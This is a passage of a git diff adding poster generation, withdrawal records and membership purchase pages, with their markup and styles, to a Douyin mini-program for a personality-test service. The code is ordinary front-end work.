this.loadPoster() + }, + + /** 从后端接口下载完整合成海报 */ + loadPoster() { + const app = getApp() + const gd = app.globalData || {} + const storedUser = tt.getStorageSync('userInfo') || {} + const userInfo = gd.userInfo || storedUser + const apiBase = getApiBase() + const token = tt.getStorageSync('token') || gd.token || '' + const scope = gd.appScope || 'personal' + // 企业 ID:按优先级取 scene > globalData.userInfo > storage.userInfo + const eid = scope === 'enterprise' + ? (gd.enterpriseIdFromScene || (gd.userInfo && gd.userInfo.enterpriseId) || storedUser.enterpriseId || null) + : null + let url = apiBase.replace(/\/$/, '') + '/api/distribution/poster' + if (eid) url += `?eid=${eid}&scope=enterprise` + else if (scope === 'enterprise') url += '?scope=enterprise' // 企业模式但 eid 未知,后端从 DB 取 + else url += '?scope=personal' + + tt.downloadFile({ + url, + header: token ? { Authorization: 'Bearer ' + token } : {}, + success: (res) => { + if (res.statusCode === 200 && res.tempFilePath) { + this.setData({ posterUrl: res.tempFilePath, loading: false }) + } else { + this.setData({ loadingText: '海报生成失败', loading: false }) + tt.showToast({ title: '生成失败', icon: 'none' }) + } + }, + fail: () => { + this.setData({ loadingText: '请求失败,请重试', loading: false }) + tt.showToast({ title: '请求失败', icon: 'none' }) + } + }) + }, + + /** 保存到相册 */ + savePoster() { + if (this.data.loading || !this.data.posterUrl) return + tt.showLoading({ title: '正在保存...' }) + tt.saveImageToPhotosAlbum({ + filePath: this.data.posterUrl, + success: () => { + tt.hideLoading() + tt.showToast({ title: '已保存到相册', icon: 'success' }) + }, + fail: (err) => { + tt.hideLoading() + if (err.errMsg && err.errMsg.indexOf('auth deny') >= 0) { + tt.showModal({ + title: '提示', + content: '需要您授权保存图片到相册', + success: (r) => { if (r.confirm) tt.openSetting() } + }) + } else { + tt.showToast({ title: '保存失败', icon: 'none' }) + } + } + }) + } +}) diff --git a/douyin-miniprogram/pages/promo/poster.json b/douyin-miniprogram/pages/promo/poster.json new file mode 100644 index 0000000..44070df --- /dev/null +++ b/douyin-miniprogram/pages/promo/poster.json @@ -0,0 +1,6 @@ +{ + "navigationBarTitleText": "生成推广海报", + "navigationBarBackgroundColor": "#FFFFFF", + "navigationBarTextStyle": "black", + "usingComponents": {} +} \ No newline at end of file diff --git a/douyin-miniprogram/pages/promo/poster.ttml b/douyin-miniprogram/pages/promo/poster.ttml new file mode 100644 index 0000000..1626f7b --- /dev/null +++ b/douyin-miniprogram/pages/promo/poster.ttml @@ -0,0 +1,16 @@ + + + + + + {{loadingText}} + + + + + 保存到相册后可分享至朋友圈 + + + diff --git a/douyin-miniprogram/pages/promo/poster.ttss b/douyin-miniprogram/pages/promo/poster.ttss new file mode 100644 index 0000000..65df932 --- /dev/null +++ b/douyin-miniprogram/pages/promo/poster.ttss @@ -0,0 +1,83 @@ +.container { + min-height: 100vh; + background-color: #f8fafc; + display: flex; + flex-direction: column; + align-items: center; + padding: 40rpx 0; +} + +.poster-preview { + position: relative; + width: 600rpx; + min-height: 800rpx; + background-color: #fff; + border-radius: 32rpx; + box-shadow: 0 20rpx 50rpx rgba(0, 0, 0, 0.1); + overflow: hidden; +} + +.poster-img { + width: 100%; + display: block; +} + +.loading-mask { + position: absolute; + top: 0; left: 0; right: 0; bottom: 0; + background-color: rgba(255, 255, 255, 0.9); + display: flex; + flex-direction: column; + align-items: center; + justify-content: center; + z-index: 10; +} + +.loading-spinner { + width: 60rpx; height: 60rpx; + border: 4rpx solid #f3f4f6; + border-top: 4rpx solid #f43f5e; + border-radius: 50%; + animation: spin 1s linear infinite; + margin-bottom: 20rpx; +} + +@keyframes spin { + 0% { transform: rotate(0deg); } + 100% { transform: rotate(360deg); } +} + +.loading-text { font-size: 24rpx; color: #64748b; } + +.action-bar { + position: fixed; + bottom: 0; left: 0; right: 0; + background-color: rgba(255, 255, 255, 0.95); + backdrop-filter: blur(10px); + padding: 40rpx; + display: flex; + flex-direction: column; + align-items: center; + border-radius: 40rpx 40rpx 0 0; + box-shadow: 0 -10rpx 30rpx rgba(0, 0, 0, 0.05); +} + +.save-btn { + width: 100% !important; + height: 100rpx; + background: #f43f5e; + color: #fff; + border-radius: 24rpx; + font-size: 32rpx; + font-weight: bold; + box-shadow: 0 10rpx 20rpx rgba(244, 63, 94, 0.2); + margin-bottom: 20rpx; +} + +.save-btn[disabled] { + background: #cbd5e1; + box-shadow: none; +} + +.tip-text { font-size: 24rpx; color: #94a3b8; margin-bottom: 20rpx; } +.safe-bottom { height: env(safe-area-inset-bottom); } diff --git a/douyin-miniprogram/pages/promo/withdrawals.js b/douyin-miniprogram/pages/promo/withdrawals.js new file mode 100644 index 0000000..8eb7855 --- /dev/null +++ b/douyin-miniprogram/pages/promo/withdrawals.js @@ -0,0 +1,179 @@ +// pages/promo/withdrawals.js - 提现记录列表页(抖音版) +// 抖音没有 requestMerchantTransfer,提现确认走服务端处理 +const { request } = require('../../utils/request') + +Page({ + data: { + list: [], + page: 1, + pageSize: 10, + total: 0, + loading: false, + finished: false, + confirmingId: null + }, + + onLoad() { + this.loadData(true) + }, + + loadData(reset = false) { + if (this.data.loading) return + if (!reset && this.data.finished) return + + const page = reset ? 1 : this.data.page + this.setData({ loading: true }) + + request({ + url: `/api/distribution/withdrawals?page=${page}&pageSize=${this.data.pageSize}`, + method: 'GET', + success: (res) => { + const payload = res && res.data + if (payload && payload.code === 200 && payload.data) { + const { list = [], total = 0 } = payload.data + const mapped = list.map(item => { + const statusCode = this._normalizeStatusCode(item.status) + const amountYuan = item.amountYuan != null + ? item.amountYuan + : (item.amountFen != null ? (item.amountFen / 100).toFixed(2) : '') + + const balanceAfterYuan = item.balanceAfterYuan != null + ? item.balanceAfterYuan + : (item.balanceAfterFen != null ? (item.balanceAfterFen / 100).toFixed(2) : '') + + const feeYuan = item.feeYuan != null + ? item.feeYuan + : (item.feeFen != null ? (item.feeFen / 100).toFixed(2) : '0.00') + + return { + ...item, + statusCode, + amountYuan, + balanceAfterYuan, + feeYuan, + applyAtStr: this._fmtTime(item.createdAt), + handleAtStr: this._fmtTime(item.transferAt), + statusTagText: this._statusTagText(statusCode), + statusTagClass: this._statusTagClass(statusCode) + } + }) + const newList = reset ? mapped : [...this.data.list, ...mapped] + this.setData({ + list: newList, + total, + page: page + 1, + finished: newList.length >= total + }) + } + }, + complete: () => { + this.setData({ loading: false }) + } + }) + }, + + _fmtTime(ts) { + if (!ts) return '' + const d = new Date(ts * 1000) + if (isNaN(d.getTime())) return '' + const y = d.getFullYear() + const m = String(d.getMonth() + 1).padStart(2, '0') + const day = String(d.getDate()).padStart(2, '0') + const hh = String(d.getHours()).padStart(2, '0') + const mm = String(d.getMinutes()).padStart(2, '0') + return `${y}-${m}-${day} ${hh}:${mm}` + }, + + _normalizeStatusCode(status) { + if (typeof status === 'number') return status + if (typeof status === 'string') { + const s = status.trim() + if (/^\d+$/.test(s)) return parseInt(s, 10) + switch (s) { + case 'pending': + case '审核中': + return 0 + case 'rejected': + case '已驳回': + return 1 + case '待收款': + return 2 + case 'transferred': + case '已收款': + return 3 + case '已过期': + return 4 + default: + return 0 + } + } + return 0 + }, + + _statusTagText(code) { + switch (code) { + case 0: return '待审核' + case 1: return '已驳回' + case 2: return '待收款' + case 3: return '已收款' + case 4: return '已过期' + default: return '' + } + }, + + _statusTagClass(code) { + switch (code) { + case 0: return 'tag-pending' + case 1: return 'tag-rejected' + case 2: return 'tag-wait' + case 3: return 'tag-transferred' + case 4: return 'tag-expired' + default: return '' + } + }, + + /** + * 确认收款(抖音版) + * 抖音没有 requestMerchantTransfer,通过服务端直接处理转账到用户支付宝/银行卡 + * 用户点击后向后端发请求确认 + */ + handleConfirmReceipt(e) { + const id = e.currentTarget.dataset.id + if (!id || this.data.confirmingId === id) return + + const item = (this.data.list || []).find(x => String(x.id) === String(id)) + if (!item) { + tt.showToast({ title: '记录不存在', icon: 'none' }) + return + } + + this.setData({ confirmingId: id }) + tt.showLoading({ title: '确认收款中...' }) + + request({ + url: '/api/distribution/withdrawals/confirm-receipt', + method: 'POST', + data: { id: item.id, platform: 'douyin' }, + success: (r) => { + const p = r && r.data + if (p && p.code === 200) { + tt.showToast({ title: '确认成功', icon: 'success' }) + this.loadData(true) + } else { + tt.showToast({ title: p && p.message || '确认失败', icon: 'none' }) + } + }, + fail: () => { + tt.showToast({ title: '网络请求失败', icon: 'none' }) + }, + complete: () => { + tt.hideLoading() + this.setData({ confirmingId: null }) + } + }) + }, + + onReachBottom() { + this.loadData(false) + } +}) diff --git a/douyin-miniprogram/pages/promo/withdrawals.json b/douyin-miniprogram/pages/promo/withdrawals.json new file mode 100644 index 0000000..5a32976 --- /dev/null +++ b/douyin-miniprogram/pages/promo/withdrawals.json @@ -0,0 +1,5 @@ +{ + "navigationBarTitleText": "提现记录", + "usingComponents": {} +} + diff --git a/douyin-miniprogram/pages/promo/withdrawals.ttml b/douyin-miniprogram/pages/promo/withdrawals.ttml new file mode 100644 index 0000000..11d138c --- /dev/null +++ b/douyin-miniprogram/pages/promo/withdrawals.ttml @@ -0,0 +1,77 @@ + + + + + + + + 📭 + + 暂无提现记录 + 成功发起提现后,将在这里展示进度 + + + + + + + + 单号:{{item.out_bill_no}} + + {{item.statusTagText}} + + + + + + + ¥{{item.amountYuan}} + + + 手续费 + ¥{{item.feeYuan}} + + + 提现后余额 + ¥{{item.balanceAfterYuan}} + + + + + + 申请时间:{{item.applyAtStr}} + 处理时间:{{item.handleAtStr}} + + + + + 拒绝原因: + {{item.auditNote}} + + + + + + + + + + 加载中... + + + — 已加载全部 — + + + + + + + diff --git a/douyin-miniprogram/pages/promo/withdrawals.ttss b/douyin-miniprogram/pages/promo/withdrawals.ttss new file mode 100644 index 0000000..84ed4e8 --- /dev/null +++ b/douyin-miniprogram/pages/promo/withdrawals.ttss @@ -0,0 +1,244 @@ +.page { + min-height: 100vh; + background: #f9fafb; + padding: 24rpx 32rpx 32rpx; + box-sizing: border-box; +} + +.header { + margin-bottom: 24rpx; +} + +.title { + font-size: 32rpx; + font-weight: 700; + color: #111827; +} + +.sub-title { + margin-top: 6rpx; + font-size: 24rpx; + color: #6b7280; +} + +.empty { + margin-top: 80rpx; + display: flex; + flex-direction: column; + align-items: center; + color: #9ca3af; +} + +.empty-icon { + width: 120rpx; + height: 120rpx; + border-radius: 60rpx; + background: #f3f4f6; + display: flex; + align-items: center; + justify-content: center; + font-size: 56rpx; + margin-bottom: 16rpx; +} + +.empty-text { + font-size: 28rpx; + margin-bottom: 4rpx; + color: #4b5563; +} + +.empty-sub { + font-size: 24rpx; + color: #9ca3af; +} + +.list { + margin-top: 12rpx; +} + +.item { + background: #ffffff; + border-radius: 24rpx; + padding: 24rpx 28rpx; + margin-bottom: 20rpx; + box-shadow: 0 4rpx 16rpx rgba(15, 23, 42, 0.04); +} + +.item-header { + display: flex; + justify-content: space-between; + align-items: center; + margin-bottom: 16rpx; +} + +.order-no { + font-size: 24rpx; + color: #6b7280; +} + +.status-tag { + padding: 6rpx 16rpx; + border-radius: 999rpx; + font-size: 22rpx; +} + +.tag-pending { + background: #e5e7eb; + color: #4b5563; +} + +.tag-approved { + background: #dbeafe; + color: #1d4ed8; +} + +.tag-wait { + background: #dbeafe; + color: #1d4ed8; +} + +.tag-rejected { + background: #fee2e2; + color: #b91c1c; +} + +.tag-transferred { + background: #dcfce7; + color: #15803d; +} + +.tag-expired { + background: #f3f4f6; + color: #9ca3af; +} + +.item-top { + display: flex; + justify-content: space-between; + align-items: flex-start; +} + +.amount-block { + display: flex; + flex-direction: column; + gap: 6rpx; +} + +.amount { + font-size: 32rpx; + font-weight: 700; + color: #111827; +} + +.fee-block { + display: flex; + flex-direction: column; + gap: 4rpx; +} + +.fee-label { + font-size: 22rpx; + color: #9ca3af; +} + +.fee-value { + font-size: 26rpx; + color: #6b7280; +} + +.balance-block { + display: flex; + flex-direction: column; + align-items: flex-end; +} + +.balance-label { + font-size: 22rpx; + color: #9ca3af; +} + +.balance-value { + margin-top: 4rpx; + font-size: 26rpx; + color: #111827; +} + +.time-block { + margin-top: 16rpx; + display: flex; + flex-direction: column; + gap: 6rpx; +} + +.time-row { + font-size: 22rpx; + color: #6b7280; +} + +.reject-box { + margin-top: 16rpx; + padding: 16rpx; + border-radius: 12rpx; + background: #fef2f2; +} + +.reject-title { + font-size: 24rpx; + font-weight: 600; + color: #b91c1c; +} + +.reject-text { + font-size: 24rpx; + color: #b91c1c; +} + +.item-bottom { + margin-top: 10rpx; +} + +.note { + font-size: 24rpx; + color: #6b7280; +} + +.footer { + padding: 16rpx 0; + text-align: center; +} + +.footer-text { + font-size: 24rpx; + color: #9ca3af; +} + +.confirm-wrapper { + margin-top: 20rpx; + padding: 0 8rpx 4rpx; +} + +.confirm-btn { + width: 100%; + height: 80rpx; + border-radius: 999rpx; + background: linear-gradient(135deg, #FF6B8A 0%, #FF8E53 100%); + color: #ffffff; + font-size: 30rpx; + font-weight: 600; + box-shadow: 0 10rpx 18rpx rgba(255, 107, 138, 0.35); + border: none; + display: flex; + align-items: center; + justify-content: center; + padding: 0; +} + +.confirm-btn[disabled] { + opacity: 0.7; + box-shadow: none; +} + +.safe-bottom { + height: calc(32rpx + env(safe-area-inset-bottom)); +} + diff --git a/douyin-miniprogram/pages/purchase/index.js b/douyin-miniprogram/pages/purchase/index.js new file mode 100644 index 0000000..45c3b95 --- /dev/null +++ b/douyin-miniprogram/pages/purchase/index.js @@ -0,0 +1,247 @@ +// pages/purchase/index.js - 开通会员(深度服务价格:个人/企业区分,类目由后端配置可新增) +const app = getApp() +const payment = require('../../utils/payment') +const { hasPhone, bindPhoneByCode, ensureProfileCompleteAndRedirect } = require('../../utils/phoneAuth.js') + +Page({ + data: { + activeTab: 'personal', + personalCategories: [], + enterpriseCategories: [], + loading: true, + purchasing: false, + hasPhone: false, + successModal: { + visible: false, + title: '', + content: '', + wechat: '' + } + }, + + onLoad(options) { + const tab = (options && options.tab === 'enterprise') ? 'enterprise' : 'personal' + this.setData({ activeTab: tab }) + tt.setNavigationBarTitle({ title: tab === 'enterprise' ? '开通企业版' : '开通个人版' }) + this.loadDeepPricing() + }, + + onShow() { + if (!ensureProfileCompleteAndRedirect()) return + this.setData({ hasPhone: hasPhone() }) + }, + + loadDeepPricing() { + const apiBase = app.globalData.apiBase || '' + if (!apiBase) { + this.setData({ loading: false }) + return + } + this.setData({ loading: true }) + Promise.all([ + this.requestDeepPricing('personal'), + this.requestDeepPricing('enterprise') + ]).then(([personal, enterprise]) => { + this.setData({ + personalCategories: personal || [], + enterpriseCategories: enterprise || [], + loading: false + }) + }).catch(() => { + this.setData({ loading: false }) + }) + }, + + requestDeepPricing(scope) { + return new Promise((resolve) => { + tt.request({ + url: `${app.globalData.apiBase.replace(/\/$/, '')}/api/config/deep-pricing`, + method: 'GET', + data: { scope }, + success: (res) => { + if (res.statusCode === 200 && res.data && res.data.code === 200 && Array.isArray(res.data.data && res.data.data.categories)) { + resolve(res.data.data.categories) + } else { + resolve([]) + } + }, + fail: () => resolve([]) + }) + }) + }, + + switchTab(e) { + const tab = e.currentTarget.dataset.tab + this.setData({ activeTab: tab }) + }, + + // 无需再次授权时,直接点击按钮执行购买/咨询 + handlePurchaseTap(e) { + const tab = e.currentTarget.dataset.tab + const index = e.currentTarget.dataset.index + this.handlePurchase(tab, index) + }, + + // 实际执行购买/咨询逻辑(已确保有手机号) + handlePurchase(tab, index) { + if (!ensureProfileCompleteAndRedirect()) return + if (index === undefined || index === null) return + const list = tab === 'enterprise' ? this.data.enterpriseCategories : this.data.personalCategories + const category = list[index] + if (!category) return + + if (category.actionType === 'buy' && category.productKey) { + this.purchasePersonal(category) + } else { + this.applyConsult(category) + } + }, + + // 购买/企业咨询按钮:就地触发微信系统手机号授权,然后执行 handlePurchase + onGetPhoneNumberForPurchase(e) { + const tab = e.currentTarget.dataset.tab + const index = e.currentTarget.dataset.index + const { code, errMsg } = e.detail || {} + + if (errMsg && errMsg.indexOf('getPhoneNumber:fail') === 0) { + if (!hasPhone()) { + tt.showToast({ title: '需要授权手机号才能继续', icon: 'none' }) + return + } + // 用户拒绝但之前已授权过,本地已有手机号,则直接继续 + this.handlePurchase(tab, index) + return + } + + if (!code) { + if (hasPhone()) { + this.handlePurchase(tab, index) + } else { + tt.showToast({ title: '获取手机号失败', icon: 'none' }) + } + return + } + + bindPhoneByCode(code) + .then(() => { + this.setData({ hasPhone: true }) + this.handlePurchase(tab, index) + }) + .catch(() => { + // 失败时只提示,不阻塞后续再次点击 + }) + }, + + purchasePersonal(category) { + if (this.data.purchasing) return + this.setData({ purchasing: true }) + tt.showLoading({ title: '处理中...', mask: true }) + const deepProductId = category.id || category.productKey || '' + const title = category.title || '个人深度服务(1v1深度解读)' + payment.purchasePersonalDeepService({ + deepProductId, + description: title, + success: () => { + tt.hideLoading() + this.setData({ purchasing: false }) + this._reportCrmLead(category, 'buy') + const successMsg = (category.successMessage || '购买成功!我们的顾问会尽快与您联系,为您提供专属深度解读服务。').trim() + const wechat = (category.serviceWechat || '').trim() + this._showSuccessModal('购买成功', successMsg, wechat) + }, + fail: () => { + tt.hideLoading() + this.setData({ purchasing: false }) + } + }) + }, + + applyConsult(category) { + // serviceWechat 展示给用户,consultWechat 是存客宝 API key + const wechat = (category.serviceWechat || '').trim() + const apiKey = (category.consultWechat || '').trim() + const successMsg = (category.successMessage || '感谢您的申请,我们的顾问会尽快与您联系!').trim() + tt.showLoading({ title: '提交中...', mask: true }) + if (apiKey) { + this._reportCrmLead(category, 'consult') + } + setTimeout(() => { + tt.hideLoading() + this._showSuccessModal('申请成功', successMsg, wechat) + }, 600) + }, + + _showSuccessModal(title, content, wechat) { + this.setData({ + successModal: { + visible: true, + title: title || '成功', + content: content || '', + wechat: wechat || '' + } + }) + }, + + closeSuccessModal() { + this.setData({ 'successModal.visible': false }) + }, + + copyWechat() { + const wechat = this.data.successModal.wechat + if (!wechat) return + tt.setClipboardData({ + data: wechat, + success: () => tt.showToast({ title: '已复制微信号', icon: 'success' }) + }) + }, + + /** + * 向后端上报存客宝线索,后端负责签名和调用存客宝 API + * @param {Object} category 深度服务类目对象(需含 consultWechat / title) + * @param {string} actionType 'buy'(付款完成)| 'consult'(申请咨询) + */ + _reportCrmLead(category, actionType) { + const apiKey = category.consultWechat || '' + if (!apiKey) return + const apiBase = app.globalData.apiBase || '' + if (!apiBase) return + + const isEnterprise = this.data.activeTab === 'enterprise' + const source = (isEnterprise ? '企业深度服务' : '个人深度服务') + (category.title ? `-${category.title}` : '') + const remark = actionType === 'buy' ? '完成付款' : '申请咨询' + + tt.request({ + url: `${apiBase.replace(/\/$/, '')}/api/crm/report`, + method: 'POST', + header: { + Authorization: `Bearer ${tt.getStorageSync('token') || ''}`, + 'Content-Type': 'application/json', + }, + data: { + apiKey, + source, + remark, + siteTags: category.title || '', + }, + success(res) { + console.log('[CRM] 线索上报结果', res.data) + }, + fail(err) { + console.warn('[CRM] 线索上报请求失败', err) + }, + }) + }, + + onShareAppMessage() { + const { getSharePath } = require('../../utils/share') + return { title: '神仙团队性格测试 - 发现你的内在潜能', path: getSharePath('/pages/purchase/index') } + }, + + onShareTimeline() { + const { buildShareQuery } = require('../../utils/share') + return { + title: '神仙团队性格测试 - 发现你的内在潜能', + query: buildShareQuery() + } + } +}) diff --git a/douyin-miniprogram/pages/purchase/index.json b/douyin-miniprogram/pages/purchase/index.json new file mode 100644 index 0000000..ad2e595 --- /dev/null +++ b/douyin-miniprogram/pages/purchase/index.json @@ -0,0 +1,6 @@ +{ + "navigationBarTitleText": "开通会员", + "navigationBarBackgroundColor": "#FFFFFF", + "navigationBarTextStyle": "black", + "usingComponents": {} +} diff --git a/douyin-miniprogram/pages/purchase/index.ttml b/douyin-miniprogram/pages/purchase/index.ttml new file mode 100644 index 0000000..d1296e4 --- /dev/null +++ b/douyin-miniprogram/pages/purchase/index.ttml @@ -0,0 +1,135 @@ + + + + + + + + + + + {{successModal.title}} + {{successModal.content}} + + 客服微信 + {{successModal.wechat}} + + + + + + + + + + + + 加载中... + + + + + + + {{item.title}} + + ¥ + {{item.price}} + {{item.priceUnit || '/次'}} + + {{item.subtitle}} + + + + + {{f}} + + + + + + + + + 暂无可用的个人版套餐 + + + + + + + + + {{item.title}} + {{item.subtitle}} + + + {{item.priceDisplay || '¥' + item.price}} + {{item.userLimit}} + + + + + + {{f}} + + + + + + + + + 暂无可用的企业版套餐 + + + + + + 🔒 + 微信安全支付 + + + + 即时到账开通 + + + 📞 + 7×24客服 + + + diff --git a/douyin-miniprogram/pages/purchase/index.ttss b/douyin-miniprogram/pages/purchase/index.ttss new file mode 100644 index 0000000..e6cbdd2 --- /dev/null +++ b/douyin-miniprogram/pages/purchase/index.ttss @@ -0,0 +1,789 @@ +/* pages/purchase/index.wxss - 按旧版模板重构 */ + +/* ── 成功弹窗 ── */ +.success-mask { + position: fixed; + top: 0; left: 0; right: 0; bottom: 0; + background: rgba(0, 0, 0, 0.5); + z-index: 999; + display: flex; + align-items: center; + justify-content: center; +} + +.success-dialog { + width: 600rpx; + background: #fff; + border-radius: 24rpx; + padding: 56rpx 40rpx 40rpx; + display: flex; + flex-direction: column; + align-items: center; +} + +.success-icon-wrap { + margin-bottom: 32rpx; +} + +.success-icon-circle { + width: 120rpx; + height: 120rpx; + border-radius: 50%; + background: linear-gradient(135deg, #22c55e, #16a34a); + display: flex; + align-items: center; + justify-content: center; + box-shadow: 0 8rpx 24rpx rgba(34, 197, 94, 0.35); +} + +.success-icon-check { + font-size: 56rpx; + color: #fff; + font-weight: bold; + line-height: 1; +} + +.success-dialog-title { + font-size: 40rpx; + font-weight: bold; + color: #1a1a1a; + margin-bottom: 20rpx; +} + +.success-dialog-content { + font-size: 28rpx; + color: #555; + text-align: center; + line-height: 1.7; + margin-bottom: 32rpx; +} + +.success-wechat-wrap { + width: 100%; + background: #f5f5f5; + border-radius: 12rpx; + padding: 20rpx 24rpx; + margin-bottom: 32rpx; + display: flex; + align-items: center; + gap: 16rpx; +} + +.success-wechat-label { + font-size: 24rpx; + color: #999; + flex-shrink: 0; +} + +.success-wechat-val { + font-size: 28rpx; + color: #333; + font-weight: 500; + flex: 1; + word-break: break-all; +} + +.success-dialog-btns { + width: 100%; + display: flex; + flex-direction: row; + gap: 16rpx; +} + +.success-btn-copy { + flex: 1; + background: #2563eb; + color: #fff; + font-size: 28rpx; + font-weight: 500; + padding: 24rpx 0; + border-radius: 12rpx; + border: none; +} + +.success-btn-close { + flex: 1; + background: #f5f5f5; + color: #333; + font-size: 28rpx; + padding: 24rpx 0; + border-radius: 12rpx; + border: none; +} + + +.container { + width: 100vw; + min-height: 100vh; + background-color: #f5f5f5; + padding-bottom: 160rpx; +} + +/* 用户权益状态 */ +.status-card { + display: flex; + align-items: center; + padding: 40rpx; + margin: 24rpx; + background: #fff; + border-radius: 16rpx; + box-shadow: 0 2rpx 8rpx rgba(0, 0, 0, 0.04); +} + +.status-card.vip { + background: linear-gradient(135deg, #faf5ff 0%, #f3e8ff 100%); + border: 2rpx solid #9333ea; +} + +.status-icon { + font-size: 48rpx; + margin-right: 20rpx; +} + +.status-info { + flex: 1; +} + +.status-title { + display: block; + font-size: 32rpx; + font-weight: bold; + color: #333; +} + +.status-desc { + display: block; + font-size: 24rpx; + color: #666; + margin-top: 4rpx; +} + +.test-count { + text-align: center; +} + +.count-num { + display: block; + font-size: 40rpx; + font-weight: bold; + color: #9333ea; +} + +.count-label { + display: block; + font-size: 22rpx; + color: #999; +} + +/* 区块 */ +.section { + margin: 24rpx; +} + +.section-title { + display: block; + font-size: 34rpx; + font-weight: bold; + color: #333; + margin-bottom: 8rpx; +} + +.section-subtitle { + display: block; + font-size: 24rpx; + color: #999; + margin-bottom: 24rpx; +} + +/* Tabs 区域 */ +.tabs-container { + background-color: #fff; + padding: 24rpx 32rpx; + margin: 24rpx; + border-radius: 16rpx; +} + +.tabs-list { + display: flex; + background-color: #f5f5f5; + border-radius: 12rpx; + padding: 8rpx; +} + +.tab-item { + flex: 1; + display: flex; + align-items: center; + justify-content: center; + padding: 16rpx 24rpx; + border-radius: 8rpx; + transition: all 0.3s; +} + +.tab-item.active { + background-color: #fff; +} + +.tab-icon { + font-size: 32rpx; + margin-right: 8rpx; +} + +.tab-text { + font-size: 28rpx; + color: #666; +} + +.tab-item.active .tab-text { + color: #333; + font-weight: 500; +} + +.loading-wrap { + padding: 80rpx; + text-align: center; +} + +.loading-text { + font-size: 28rpx; + color: #999; +} + +.empty-tip { + padding: 60rpx 24rpx; + text-align: center; + font-size: 28rpx; + color: #999; +} + +/* 定价卡片(已去除个人版/企业版彩色边框,统一灰色细边) */ +.pricing-card { + background-color: #fff; + border-radius: 16rpx; + padding: 40rpx; + margin-bottom: 24rpx; + border: 2rpx solid #e5e5e5; +} + +.pricing-card.featured, +.pricing-card.featured-blue { + border-color: #e5e5e5; + border-width: 2rpx; +} + +/* 企业版 header flex 布局 */ +.card-header-flex { + display: flex; + justify-content: space-between; + align-items: flex-start; + margin-bottom: 32rpx; +} + +.header-left { + flex: 1; +} + +.plan-title-sm { + font-size: 36rpx; + font-weight: bold; + color: #333; + display: block; + margin-bottom: 8rpx; +} + +.plan-desc { + font-size: 24rpx; + color: #666; + display: block; +} + +.header-right { + text-align: right; +} + +.price-amount-small { + font-size: 40rpx; + font-weight: bold; + color: #333; + display: block; + margin-bottom: 4rpx; +} + +.price-limit { + font-size: 22rpx; + color: #999; + display: block; +} + +.check-icon.blue { + background-color: #2563eb; +} + +.purchase-button.secondary { + background-color: #2563eb; +} + +.card-header { + text-align: center; + margin-bottom: 32rpx; +} + +.plan-title { + font-size: 40rpx; + font-weight: bold; + color: #333; + display: block; + margin-bottom: 20rpx; +} + +.price-section { + display: flex; + align-items: baseline; + justify-content: center; + margin-bottom: 16rpx; +} + +.price-symbol { + font-size: 40rpx; + color: #333; + font-weight: bold; +} + +.price-amount { + font-size: 72rpx; + font-weight: bold; + color: #333; + margin: 0 8rpx; +} + +.price-unit { + font-size: 28rpx; + color: #666; +} + +.plan-subtitle { + font-size: 26rpx; + color: #666; + display: block; +} + +/* 功能列表 */ +.features-list { + margin-bottom: 32rpx; +} + +.feature-item { + display: flex; + align-items: flex-start; + margin-bottom: 20rpx; +} + +.feature-item:last-child { + margin-bottom: 0; +} + +.check-icon { + width: 32rpx; + height: 32rpx; + border-radius: 50%; + background-color: #22c55e; + color: #fff; + font-size: 20rpx; + display: flex; + align-items: center; + justify-content: center; + margin-right: 16rpx; + flex-shrink: 0; + text-align: center; +} + +.feature-text { + flex: 1; + font-size: 26rpx; + color: #666; + line-height: 1.6; +} + +/* 购买按钮 */ +.purchase-button { + width: 100%; + padding: 28rpx; + border-radius: 12rpx; + text-align: center; + box-sizing: border-box; +} + +.purchase-button.primary { + background-color: #9333ea; +} + +.purchase-button .button-text { + font-size: 32rpx; + color: #fff; + font-weight: 500; +} + +/* 分润机制 */ +.commission-section { + background-color: #f9fafb; + border-radius: 16rpx; + padding: 32rpx; + margin: 24rpx; +} + +.commission-header { + display: flex; + align-items: center; + margin-bottom: 24rpx; +} + +.commission-icon { + font-size: 32rpx; + margin-right: 12rpx; +} + +.commission-title { + font-size: 32rpx; + font-weight: 500; + color: #333; +} + +.commission-list { + display: flex; + flex-direction: column; + gap: 16rpx; +} + +.commission-item { + display: flex; + justify-content: space-between; + align-items: center; +} + +.commission-label { + font-size: 26rpx; + color: #666; +} + +.commission-value { + font-size: 28rpx; + font-weight: 500; + color: #333; +} + +/* VIP套餐网格 */ +.vip-cards { + display: grid; + grid-template-columns: repeat(2, 1fr); + gap: 16rpx; + margin-bottom: 32rpx; +} + +.vip-card { + position: relative; + background: #fff; + border: 2rpx solid #e5e5e5; + border-radius: 16rpx; + padding: 24rpx; + text-align: center; +} + +.vip-card.selected { + border-color: #9333ea; + background: #faf5ff; +} + +.vip-card.hot { + border-color: #f59e0b; +} + +.vip-tag { + position: absolute; + top: 8rpx; + right: 8rpx; + background: #9333ea; + color: #fff; + font-size: 18rpx; + padding: 4rpx 12rpx; + border-radius: 8rpx; +} + +.vip-hot-tag, +.vip-best-tag { + position: absolute; + top: -2rpx; + left: 50%; + transform: translateX(-50%); + background: #f59e0b; + color: #fff; + font-size: 18rpx; + padding: 4rpx 16rpx; + border-radius: 0 0 8rpx 8rpx; +} + +.vip-best-tag { + background: #ef4444; +} + +.vip-name { + display: block; + font-size: 26rpx; + color: #333; + font-weight: 500; + margin-top: 16rpx; + margin-bottom: 12rpx; +} + +.vip-price { + display: flex; + align-items: baseline; + justify-content: center; + margin-bottom: 8rpx; +} + +.vip-price .price-symbol { + font-size: 28rpx; + color: #333; +} + +.vip-price .price-num { + font-size: 48rpx; + font-weight: bold; + color: #333; +} + +.vip-original { + display: block; + font-size: 22rpx; + color: #999; + text-decoration: line-through; +} + +.vip-avg { + display: block; + font-size: 22rpx; + color: #9333ea; + margin-top: 4rpx; +} + +/* 次数包 */ +.count-cards { + display: flex; + gap: 16rpx; +} + +.count-card { + flex: 1; + position: relative; + background: #fff; + border: 2rpx solid #e5e5e5; + border-radius: 16rpx; + padding: 24rpx 16rpx; + text-align: center; +} + +.count-card.selected { + border-color: #9333ea; + background: #faf5ff; +} + +.count-save { + position: absolute; + top: -2rpx; + right: -2rpx; + background: #ef4444; + color: #fff; + font-size: 18rpx; + padding: 4rpx 12rpx; + border-radius: 0 8rpx 0 8rpx; +} + +.count-num-big { + font-size: 48rpx; + font-weight: bold; + color: #333; +} + +.count-unit { + font-size: 24rpx; + color: #999; + display: block; + margin-bottom: 12rpx; +} + +.count-price { + display: flex; + align-items: baseline; + justify-content: center; +} + +.count-price .price-symbol { + font-size: 24rpx; + color: #333; +} + +.count-price .price-num { + font-size: 36rpx; + font-weight: bold; + color: #333; 